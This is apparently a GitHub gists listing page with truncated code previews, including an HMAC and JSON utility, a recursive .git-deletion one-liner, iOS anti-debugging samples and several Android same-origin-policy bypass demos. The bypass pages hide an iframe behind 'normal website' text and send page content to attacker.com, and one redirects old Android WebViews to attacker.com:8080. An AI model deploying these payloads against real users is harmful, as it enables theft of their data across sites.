yehgdotnet’s gists

heskyji / hmac_sha1.py

Created September 17, 2015 01:08

Generate HMAC-SHA1 Signature using Python 3

facelordgists / delete-git-recursively.sh

Created May 13, 2015 05:28

Recursively remove .git folders

( find . -type d -name ".git" && find . -name ".gitignore" && find . -name ".gitmodules" ) | xargs rm -rf

jjfiv / JSONUtil.java

Created February 27, 2015 21:41

JSON escaping and unescaping that really works, no dependencies.

	// BSD License (http://lemurproject.org/galago-license)
	package org.lemurproject.galago.utility.json;

	public class JSONUtil {
	public static String escape(String input) {
	StringBuilder output = new StringBuilder();

	for(int i=0; i<input.length(); i++) {
	char ch = input.charAt(i);
	int chx = (int) ch;

joswr1ght / MetasploitSOPBypass.html

Created January 12, 2015 21:45

	<html><head><script src="Spec.js/lib/Spec.js"></script></head>
	<body>
	This is a normal website. Look at these pictures of cats...
	<script>
	var spec = new Spec();
	if (spec.isDeviceDetected() && spec.getOS() == "Android"
	&& spec.getBrowser != "Chrome"
	&& parseFloat(spec.getOSVersion()) < 4.4) {
	var iframe = document.createElement('iframe');
	iframe.style.display="none";

joswr1ght / AndroidSOPBypass.html

Created January 12, 2015 21:37

	<html><head></head>
	<body>
	This is just a normal website...
	<iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe>
	<script>
	document.getElementById("if").style.visibility="hidden";
	window.open("\u0000javascript:
	var i=new Image();
	i.src='http://attacker.com/save.php?'+document.body.innerHTML;
	document.body.appendChild(i);

joswr1ght / AndroidSOPTest.html

Created January 12, 2015 21:28

	<html><head></head>
	<body>
	This is just a normal website...
	<iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe>
	<script>
	document.getElementById("if").style.visibility="hidden";
	window.open("javascript:
	var i=new Image();
	i.src='http://attacker.com/save.php?'+document.body.innerHTML;
	document.body.appendChild(i);

joswr1ght / AndroidWebViewRedirect.html

Last active August 19, 2021 18:15

	<html><head><script src="Spec.js/lib/Spec.js"></script></head>
	<body>
	<script>
	var spec = new Spec();
	if (spec.isDeviceDetected() && spec.getOS() == "Android" &&
	parseFloat(spec.getOSVersion()) < 4.2) {
	var iframe = document.createElement('iframe');
	iframe.style.display="none";
	iframe.src = "http://attacker.com:8080";
	document.body.appendChild(iframe);

joswr1ght / catchredir.m

Last active June 8, 2021 11:50

Demonstration code to detect runtime method swizzling with Cydia Substrate/Cycript.

	// Compile with:
	// clang catchredir.m -o catchredir -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7 -framework Foundation
	#import <Foundation/Foundation.h>
	#import <stdio.h>
	#import <objc/runtime.h>

	@interface UrlConnection : NSObject
	@property (strong) NSString *url;
	- (void)connect;
	@end

joswr1ght / iosdebugdetect.cpp

Created December 29, 2014 16:21

Sample code to use ptrace() through dlsym on iOS to terminate when a debugger is attached. NOT FOOLPROOF, but it bypasses Rasticrac decryption.

	// Build on OS X with:
	// clang debugdetect.cpp -o debugdetect -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7
	#import <dlfcn.h>
	#import <sys/types.h>
	#import <stdio.h>
	typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
	void disable_dbg() {
	ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(RTLD_SELF, "ptrace");
	ptrace_ptr(31, 0, 0, 0); // PTRACE_DENY_ATTACH = 31
	}

di / tlds

Created December 4, 2014 20:01

Valid Two-Letter Top Level Domains

Aung Khant yehgdotnet